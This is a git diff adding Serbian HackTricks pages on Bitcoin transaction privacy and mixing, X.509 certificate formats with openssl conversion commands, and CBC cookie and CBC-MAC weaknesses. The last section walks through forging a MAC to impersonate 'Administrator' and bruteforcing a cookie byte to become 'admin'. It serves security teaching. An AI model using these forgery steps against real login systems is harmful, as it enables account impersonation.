UTXO, ili **Unspent Transaction Output**, mora biti u potpunosti potrošen u transakciji. Ako samo deo njega bude poslat na drugu adresu, preostali deo ide na novu adresu za promenu. Posmatrači mogu pretpostaviti da ova nova adresa pripada pošiljaocu, ugrožavajući privatnost.
|
||||||
|
|
||||||
|
### Primer
|
||||||
|
Da bi se to izbeglo, mikseri ili korišćenje više adresa mogu pomoći u zamagljivanju vlasništva.
|
||||||
|
|
||||||
|
## **Izloženost na Društvenim Mrežama i Forumima**
|
||||||
|
|
||||||
|
Korisnici ponekad dele svoje Bitkoin adrese na mreži, što olakšava povezivanje adrese sa njenim vlasnikom.
|
||||||
|
|
||||||
|
## **Analiza Grafa Transakcija**
|
||||||
|
|
||||||
|
Transakcije se mogu vizualizovati kao grafovi, otkrivajući potencijalne veze između korisnika na osnovu toka sredstava.
|
||||||
|
|
||||||
|
## **Heuristika Nepotrebnog Ulaza (Optimalna Heuristika za Promenu)**
|
||||||
|
|
||||||
|
Ova heuristika se zasniva na analizi transakcija sa više ulaza i izlaza kako bi se pretpostavilo koji izlaz predstavlja promenu koja se vraća pošiljaocu.
|
||||||
|
|
||||||
|
### Primer
|
||||||
|
```bash
|
||||||
|
2 btc --> 4 btc
|
||||||
|
3 btc 1 btc
|
||||||
|
```
|
||||||
|
## **Prisilno ponovno korišćenje adresa**
|
||||||
|
|
||||||
|
Napadači mogu poslati male iznose na prethodno korišćene adrese, nadajući se da će primalac te adrese kombinovati te iznose sa drugim ulazima u budućim transakcijama, čime će povezati adrese.
|
||||||
|
|
||||||
|
### Ispravno ponašanje novčanika
|
||||||
|
Novčanici bi trebali izbegavati korišćenje novčića primljenih na već korišćenim, praznim adresama kako bi se sprečilo otkrivanje privatnosti.
|
||||||
|
|
||||||
|
## **Druge tehnike analize blokčejna**
|
||||||
|
|
||||||
|
- **Tačni iznosi plaćanja:** Transakcije bez promene verovatno su između dve adrese koje pripadaju istom korisniku.
|
||||||
|
- **Okrugli iznosi:** Okrugao iznos u transakciji sugeriše da je to plaćanje, pri čemu je izlaz koji nije okrugao verovatno promena.
|
||||||
|
- **Identifikacija novčanika:** Različiti novčanici imaju jedinstvene obrasce kreiranja transakcija, što omogućava analitičarima da identifikuju korišćeni softver i potencijalno adresu za promenu.
|
||||||
|
- **Korelacije iznosa i vremena:** Otkrivanje vremena ili iznosa transakcija može dovesti do praćenja transakcija.
|
||||||
|
|
||||||
|
## **Analiza saobraćaja**
|
||||||
|
|
||||||
|
Prateći saobraćaj na mreži, napadači mogu potencijalno povezati transakcije ili blokove sa IP adresama, ugrožavajući privatnost korisnika. Ovo je posebno tačno ako entitet ima mnogo Bitcoin čvorova, što povećava njihovu sposobnost praćenja transakcija.
|
||||||
|
|
||||||
|
## Više informacija
|
||||||
|
Za sveobuhvatan spisak napada na privatnost i odbrana, posetite [Bitcoin Privacy na Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||||
|
|
||||||
|
|
||||||
|
# Anonimne Bitcoin transakcije
|
||||||
|
|
||||||
|
## Načini anonimnog dobijanja Bitcoina
|
||||||
|
|
||||||
|
- **Gotovinske transakcije**: Dobijanje Bitcoina putem gotovine.
|
||||||
|
- **Alternativne gotovinske opcije**: Kupovina poklon kartica i njihova zamena za Bitcoin putem interneta.
|
||||||
|
- **Rudarenje**: Najprivatniji način za zaradu Bitcoina je rudarenje, posebno kada se radi samostalno, jer rudarski bazeni mogu znati IP adresu rudara. [Informacije o rudarskim bazenima](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||||
|
- **Krađa**: Teorijski, krađa Bitcoina može biti još jedan način anonimnog dobijanja, iako je ilegalna i nije preporučljiva.
|
||||||
|
|
||||||
|
## Usluge mešanja
|
||||||
|
|
||||||
|
Korišćenjem usluge mešanja, korisnik može **poslati Bitcoine** i dobiti **različite Bitcoine zauzvrat**, što otežava praćenje originalnog vlasnika. Međutim, ovo zahteva poverenje u uslugu da ne čuva logove i da zaista vrati Bitcoine. Alternativne opcije za mešanje uključuju Bitcoin kazina.
|
||||||
|
|
||||||
|
## CoinJoin
|
||||||
|
|
||||||
|
**CoinJoin** spaja više transakcija različitih korisnika u jednu, otežavajući proces svima koji pokušavaju da upare ulaze i izlaze. Uprkos njegovoj efikasnosti, transakcije sa jedinstvenim veličinama ulaza i izlaza i dalje mogu potencijalno biti praćene.
|
||||||
|
|
||||||
|
Primeri transakcija koje su možda koristile CoinJoin uključuju `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` i `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||||
|
|
||||||
|
Za više informacija, posetite [CoinJoin](https://coinjoin.io/en). Za sličnu uslugu na Ethereumu, pogledajte [Tornado Cash](https://tornado.cash), koji anonimizuje transakcije sa sredstvima od rudara.
|
||||||
|
|
||||||
|
## PayJoin
|
||||||
|
|
||||||
|
Varijanta CoinJoin-a, **PayJoin** (ili P2EP), prikriva transakciju između dve strane (na primer, kupca i trgovca) kao običnu transakciju, bez karakterističnih jednakih izlaza koje ima CoinJoin. Ovo ga čini izuzetno teškim za otkrivanje i može poništiti heuristiku o zajedničkom vlasništvu ulaza koju koriste entiteti za nadzor transakcija.
|
||||||
|
```plaintext
|
||||||
|
2 btc --> 3 btc
|
||||||
|
5 btc 4 btc
|
||||||
|
```
|
||||||
|
Transakcije poput one iznad mogu biti PayJoin, poboljšavajući privatnost dok ostaju neodvojive od standardnih bitkoin transakcija.
|
||||||
|
|
||||||
|
**Upotreba PayJoin-a može značajno poremetiti tradicionalne metode nadzora**, što je obećavajući razvoj u potrazi za transakcijskom privatnošću.
|
||||||
|
|
||||||
|
|
||||||
|
# Najbolje prakse za privatnost u kriptovalutama
|
||||||
|
|
||||||
|
## **Tehnike sinhronizacije novčanika**
|
||||||
|
|
||||||
|
Da bi se održala privatnost i sigurnost, ključno je sinhronizovati novčanike sa blokčejnom. Dve metode se ističu:
|
||||||
|
|
||||||
|
- **Puni čvor**: Preuzimanjem celokupnog blokčejna, puni čvor obezbeđuje maksimalnu privatnost. Sve transakcije ikada izvršene se čuvaju lokalno, što onemogućava protivnicima da identifikuju koje transakcije ili adrese korisniku predstavljaju interes.
|
||||||
|
- **Filtriranje blokova na strani klijenta**: Ova metoda podrazumeva kreiranje filtera za svaki blok u blokčejnu, omogućavajući novčanicima da identifikuju relevantne transakcije bez otkrivanja specifičnih interesa posmatračima na mreži. Lagani novčanici preuzimaju ove filtere, preuzimajući pune blokove samo kada se pronađe podudaranje sa adresama korisnika.
|
||||||
|
|
||||||
|
## **Korišćenje Tor-a za anonimnost**
|
||||||
|
|
||||||
|
S obzirom da Bitcoin funkcioniše na peer-to-peer mreži, preporučuje se korišćenje Tor-a kako bi se sakrila IP adresa i poboljšala privatnost prilikom interakcije sa mrežom.
|
||||||
|
|
||||||
|
## **Prevencija ponovne upotrebe adresa**
|
||||||
|
|
||||||
|
Da bi se zaštitila privatnost, važno je koristiti novu adresu za svaku transakciju. Ponovna upotreba adresa može ugroziti privatnost povezivanjem transakcija sa istim entitetom. Moderne novčanike odvraćaju od ponovne upotrebe adresa svojim dizajnom.
|
||||||
|
|
||||||
|
## **Strategije za privatnost transakcija**
|
||||||
|
|
||||||
|
- **Više transakcija**: Podela plaćanja na nekoliko transakcija može zamagliti iznos transakcije i ometati napade na privatnost.
|
||||||
|
- **Izbegavanje kusura**: Odabir transakcija koje ne zahtevaju izlaz za kusur poboljšava privatnost ometanjem metoda za otkrivanje kusura.
|
||||||
|
- **Više izlaza za kusur**: Ako izbegavanje kusura nije izvodljivo, generisanje više izlaza za kusur i dalje može poboljšati privatnost.
|
||||||
|
|
||||||
|
# **Monero: Znak anonimnosti**
|
||||||
|
|
||||||
|
Monero se bavi potrebom za apsolutnom anonimnošću u digitalnim transakcijama, postavljajući visok standard za privatnost.
|
||||||
|
|
||||||
|
# **Ethereum: Gas i transakcije**
|
||||||
|
|
||||||
|
## **Razumevanje Gasa**
|
||||||
|
|
||||||
|
Gas meri računarski napor potreban za izvršavanje operacija na Ethereumu, ceneći se u **gwei**-ima. Na primer, transakcija koja košta 2.310.000 gwei (ili 0,00231 ETH) uključuje limit gasa i osnovnu naknadu, sa napojnicom za podsticanje rudara. Korisnici mogu postaviti maksimalnu naknadu kako bi se osigurali da ne preplaćuju, a višak se vraća.
|
||||||
|
|
||||||
|
## **Izvršavanje transakcija**
|
||||||
|
|
||||||
|
Transakcije na Ethereumu uključuju pošiljaoca i primaoca, koji mogu biti korisničke ili pametne ugovorne adrese. One zahtevaju naknadu i moraju biti rudarene. Bitne informacije u transakciji uključuju primaoca, potpis pošiljaoca, vrednost, opcioni podaci, limit gasa i naknade. Važno je napomenuti da se adresa pošiljaoca izvodi iz potpisa, čime se eliminiše potreba za njom u podacima transakcije.
|
||||||
|
|
||||||
|
Ove prakse i mehanizmi su osnovni za sve one koji žele da se bave kriptovalutama uz prioritetizaciju privatnosti i sigurnosti.
|
||||||
|
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
* [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof\_of\_stake)
|
||||||
|
* [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||||
|
* [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
|
||||||
|
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||||
|
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||||
|
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, pogledajte [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
197
crypto-and-stego/certificates.md
Normal file
197
crypto-and-stego/certificates.md
Normal file
|
@ -0,0 +1,197 @@
|
||||||
|
# Sertifikati
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||||
|
Dobijte pristup danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Šta je Sertifikat
|
||||||
|
|
||||||
|
**Sertifikat javnog ključa** je digitalni ID koji se koristi u kriptografiji da bi se dokazalo da neko poseduje javni ključ. Uključuje detalje ključa, identitet vlasnika (subjekta) i digitalni potpis od pouzdane autoritete (izdavaoca). Ako softver veruje izdavaocu i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća.
|
||||||
|
|
||||||
|
Sertifikati se uglavnom izdaju od strane [autoriteta za sertifikaciju](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u postavci [infrastrukture javnog ključa](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Drugi metod je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi za specifične potrebe kako je opisano u RFC 5280.
|
||||||
|
|
||||||
|
## Zajednička Polja x509
|
||||||
|
|
||||||
|
### **Zajednička Polja u x509 Sertifikatima**
|
||||||
|
|
||||||
|
U x509 sertifikatima, nekoliko **polja** igraju ključne uloge u osiguravanju validnosti i sigurnosti sertifikata. Evo razbijanja ovih polja:
|
||||||
|
|
||||||
|
* **Broj Verzije** označava verziju formata x509.
|
||||||
|
* **Seriski Broj** jedinstveno identifikuje sertifikat unutar sistema Autoriteta za Sertifikaciju (CA), uglavnom za praćenje opoziva.
|
||||||
|
* Polje **Subjekat** predstavlja vlasnika sertifikata, koji može biti mašina, pojedinac ili organizacija. Uključuje detaljne identifikacije kao što su:
|
||||||
|
* **Uobičajeno Ime (CN)**: Domeni obuhvaćeni sertifikatom.
|
||||||
|
* **Država (C)**, **Lokalitet (L)**, **Država ili Pokrajina (ST, S, ili P)**, **Organizacija (O)** i **Organizaciona Jedinica (OU)** pružaju geografske i organizacione detalje.
|
||||||
|
* **Distingovano Ime (DN)** obuhvata punu identifikaciju subjekta.
|
||||||
|
* **Izdavaoc** detalji ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao Subjekat za CA.
|
||||||
|
* **Period Važenja** obeležen je vremenskim oznakama **Nije Pre** i **Nije Posle**, osiguravajući da sertifikat nije korišćen pre ili posle određenog datuma.
|
||||||
|
* Odeljak **Javnog Ključa**, ključan za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa.
|
||||||
|
* **x509v3 proširenja** poboljšavaju funkcionalnost sertifikata, specificirajući **Upotrebu Ključa**, **Proširenu Upotrebu Ključa**, **Alternativno Ime Subjekta** i druge osobine za fino podešavanje primene sertifikata.
|
||||||
|
|
||||||
|
#### **Upotreba Ključa i Proširenja**
|
||||||
|
|
||||||
|
* **Upotreba Ključa** identifikuje kriptografske primene javnog ključa, poput digitalnog potpisa ili šifrovanja ključem.
|
||||||
|
* **Proširena Upotreba Ključa** dodatno sužava slučajeve upotrebe sertifikata, npr. za autentikaciju TLS servera.
|
||||||
|
* **Alternativno Ime Subjekta** i **Osnovno Ograničenje** definišu dodatna imena hostova obuhvaćena sertifikatom i da li je to CA ili sertifikat entiteta.
|
||||||
|
* Identifikatori poput **Identifikatora Ključa Subjekta** i **Identifikatora Ključa Autoriteta** osiguravaju jedinstvenost i mogućnost praćenja ključeva.
|
||||||
|
* **Pristup Informacijama o Autoritetu** i **Tačke Distribucije CRL-a** pružaju putanje za verifikaciju izdavaoca CA i proveru statusa opoziva sertifikata.
|
||||||
|
* **CT Pre-sertifikat SCT-ovi** nude transparentne logove, ključne za javno poverenje u sertifikat.
|
||||||
|
```python
|
||||||
|
# Example of accessing and using x509 certificate fields programmatically:
|
||||||
|
from cryptography import x509
|
||||||
|
from cryptography.hazmat.backends import default_backend
|
||||||
|
|
||||||
|
# Load an x509 certificate (assuming cert.pem is a certificate file)
|
||||||
|
with open("cert.pem", "rb") as file:
|
||||||
|
cert_data = file.read()
|
||||||
|
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||||
|
|
||||||
|
# Accessing fields
|
||||||
|
serial_number = certificate.serial_number
|
||||||
|
issuer = certificate.issuer
|
||||||
|
subject = certificate.subject
|
||||||
|
public_key = certificate.public_key()
|
||||||
|
|
||||||
|
print(f"Serial Number: {serial_number}")
|
||||||
|
print(f"Issuer: {issuer}")
|
||||||
|
print(f"Subject: {subject}")
|
||||||
|
print(f"Public Key: {public_key}")
|
||||||
|
```
|
||||||
|
### **Razlika između OCSP i CRL distributivnih tačaka**
|
||||||
|
|
||||||
|
**OCSP** (**RFC 2560**) uključuje klijenta i odgovarača koji zajedno proveravaju da li je digitalni javni ključ sertifikata povučen, bez potrebe za preuzimanjem punog **CRL**-a. Ovaj metod je efikasniji od tradicionalnog **CRL**-a, koji pruža listu povučenih serijskih brojeva sertifikata, ali zahteva preuzimanje potencijalno velike datoteke. CRL-ovi mogu sadržati do 512 unosa. Više detalja dostupno je [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
|
||||||
|
|
||||||
|
### **Šta je Transparentnost sertifikata**
|
||||||
|
|
||||||
|
Transparentnost sertifikata pomaže u borbi protiv pretnji povezanih sa sertifikatima osiguravajući da izdavanje i postojanje SSL sertifikata budu vidljivi vlasnicima domena, CA-ovima i korisnicima. Njeni ciljevi su:
|
||||||
|
|
||||||
|
* Sprječavanje CA-ova da izdaju SSL sertifikate za domen bez znanja vlasnika domena.
|
||||||
|
* Uspostavljanje otvorenog sistema revizije za praćenje greškom ili zlonamerno izdatih sertifikata.
|
||||||
|
* Zaštita korisnika od lažnih sertifikata.
|
||||||
|
|
||||||
|
#### **Sertifikatni zapisi**
|
||||||
|
|
||||||
|
Sertifikatni zapisi su javno proverljivi, samo za dodavanje zapisi sertifikata, održavani od strane mrežnih servisa. Ovi zapisi pružaju kriptografske dokaze u svrhe revizije. Izdavači i javnost mogu podnositi sertifikate ovim zapisima ili ih upitati za verifikaciju. Iako tačan broj serverskih zapisa nije fiksan, očekuje se da ih globalno bude manje od hiljadu. Ovi serveri mogu biti nezavisno upravljani od strane CA-ova, ISP-ova ili bilo koje zainteresovane entitete.
|
||||||
|
|
||||||
|
#### **Upit**
|
||||||
|
|
||||||
|
Za istraživanje sertifikatnih zapisa Transparentnosti sertifikata za bilo koji domen, posetite [https://crt.sh/](https://crt.sh).
|
||||||
|
|
||||||
|
Različiti formati postoje za skladištenje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj sažetak obuhvata glavne formate i pruža smernice o konvertovanju između njih.
|
||||||
|
|
||||||
|
## **Formati**
|
||||||
|
|
||||||
|
### **PEM Format**
|
||||||
|
|
||||||
|
* Najčešće korišćen format za sertifikate.
|
||||||
|
* Zahteva odvojene datoteke za sertifikate i privatne ključeve, kodirane u Base64 ASCII.
|
||||||
|
* Česte ekstenzije: .cer, .crt, .pem, .key.
|
||||||
|
* Prvenstveno korišćen od strane Apache i sličnih servera.
|
||||||
|
|
||||||
|
### **DER Format**
|
||||||
|
|
||||||
|
* Binarni format sertifikata.
|
||||||
|
* Nedostaje "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM datotekama.
|
||||||
|
* Česte ekstenzije: .cer, .der.
|
||||||
|
* Često korišćen sa Java platformama.
|
||||||
|
|
||||||
|
### **P7B/PKCS#7 Format**
|
||||||
|
|
||||||
|
* Skladišten u Base64 ASCII, sa ekstenzijama .p7b ili .p7c.
|
||||||
|
* Sadrži samo sertifikate i lanac sertifikata, isključujući privatni ključ.
|
||||||
|
* Podržan od strane Microsoft Windows i Java Tomcat.
|
||||||
|
|
||||||
|
### **PFX/P12/PKCS#12 Format**
|
||||||
|
|
||||||
|
* Binarni format koji uključuje serverske sertifikate, posredne sertifikate i privatne ključeve u jednoj datoteci.
|
||||||
|
* Ekstenzije: .pfx, .p12.
|
||||||
|
* Glavno korišćen na Windows platformi za uvoz i izvoz sertifikata.
|
||||||
|
|
||||||
|
### **Konvertovanje formata**
|
||||||
|
|
||||||
|
**PEM konverzije** su esencijalne za kompatibilnost:
|
||||||
|
|
||||||
|
* **x509 u PEM**
|
||||||
|
```bash
|
||||||
|
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||||
|
```
|
||||||
|
* **PEM u DER**
|
||||||
|
```bash
|
||||||
|
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||||
|
```
|
||||||
|
* **DER u PEM**
|
||||||
|
```bash
|
||||||
|
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||||
|
```
|
||||||
|
* **PEM u P7B**
|
||||||
|
```bash
|
||||||
|
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||||
|
```
|
||||||
|
* **PKCS7 u PEM**
|
||||||
|
```bash
|
||||||
|
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||||
|
```
|
||||||
|
**PFX konverzije** su ključne za upravljanje sertifikatima na Windows operativnom sistemu:
|
||||||
|
|
||||||
|
* **PFX u PEM**
|
||||||
|
```bash
|
||||||
|
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||||
|
```
|
||||||
|
* **PFX u PKCS#8** uključuje dva koraka:
|
||||||
|
1. Konvertuj PFX u PEM
|
||||||
|
```bash
|
||||||
|
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||||
|
```
|
||||||
|
2. Konvertuj PEM u PKCS8
|
||||||
|
```bash
|
||||||
|
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||||
|
```
|
||||||
|
* **P7B u PFX** takođe zahteva dve komande:
|
||||||
|
1. Konvertuj P7B u CER
|
||||||
|
```bash
|
||||||
|
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||||
|
```
|
||||||
|
2. Konvertujte CER i privatni ključ u PFX
|
||||||
|
```bash
|
||||||
|
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||||
|
```
|
||||||
|
***
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||||
|
Dobijte pristup danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
81
crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
Normal file
81
crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
Normal file
|
@ -0,0 +1,81 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# CBC
|
||||||
|
|
||||||
|
Ako je **kolačić** samo **korisničko ime** (ili prvi deo kolačića je korisničko ime) i želite da se predstavite kao korisničko ime "**admin**". Tada možete kreirati korisničko ime **"bdmin"** i **bruteforce**-ovati **prvi bajt** kolačića.
|
||||||
|
|
||||||
|
# CBC-MAC
|
||||||
|
|
||||||
|
**Cipher block chaining message authentication code** (**CBC-MAC**) je metoda koja se koristi u kriptografiji. Radi tako što uzima poruku i enkriptuje je blok po blok, pri čemu je enkripcija svakog bloka povezana sa prethodnim. Ovaj proces stvara **lanac blokova**, osiguravajući da čak i promena jednog jedinog bita originalne poruke dovede do nepredvidive promene poslednjeg bloka enkriptovanih podataka. Da bi se izvršila ili poništila takva promena, potreban je ključ za enkripciju, što osigurava bezbednost.
|
||||||
|
|
||||||
|
Da bi se izračunao CBC-MAC poruke m, poruka m se enkriptuje u CBC režimu sa nulom kao inicijalizacionim vektorom i čuva se poslednji blok. Sledeća slika prikazuje izračunavanje CBC-MAC poruke koja se sastoji od blokova![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) koristeći tajni ključ k i blok šifre E:
|
||||||
|
|
||||||
|
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
||||||
|
|
||||||
|
# Ranjivost
|
||||||
|
|
||||||
|
Sa CBC-MAC-om, obično se koristi **IV vrednost 0**.\
|
||||||
|
Ovo je problem jer dve poznate poruke (`m1` i `m2`) nezavisno generišu dva potpisa (`s1` i `s2`). Dakle:
|
||||||
|
|
||||||
|
* `E(m1 XOR 0) = s1`
|
||||||
|
* `E(m2 XOR 0) = s2`
|
||||||
|
|
||||||
|
Zatim, poruka koja se sastoji od konkatenacije m1 i m2 (m3) generiše dva potpisa (s31 i s32):
|
||||||
|
|
||||||
|
* `E(m1 XOR 0) = s31 = s1`
|
||||||
|
* `E(m2 XOR s1) = s32`
|
||||||
|
|
||||||
|
**Što je moguće izračunati bez poznavanja ključa enkripcije.**
|
||||||
|
|
||||||
|
Zamislite da šifrujete ime **Administrator** u blokovima od **8 bajtova**:
|
||||||
|
|
||||||
|
* `Administ`
|
||||||
|
* `rator\00\00\00`
|
||||||
|
|
||||||
|
Možete kreirati korisničko ime koje se zove **Administ** (m1) i dobiti potpis (s1).\
|
||||||
|
Zatim, možete kreirati korisničko ime koje se zove rezultat `rator\00\00\00 XOR s1`. Ovo će generisati `E(m2 XOR s1 XOR 0)` koji je s32.\
|
||||||
|
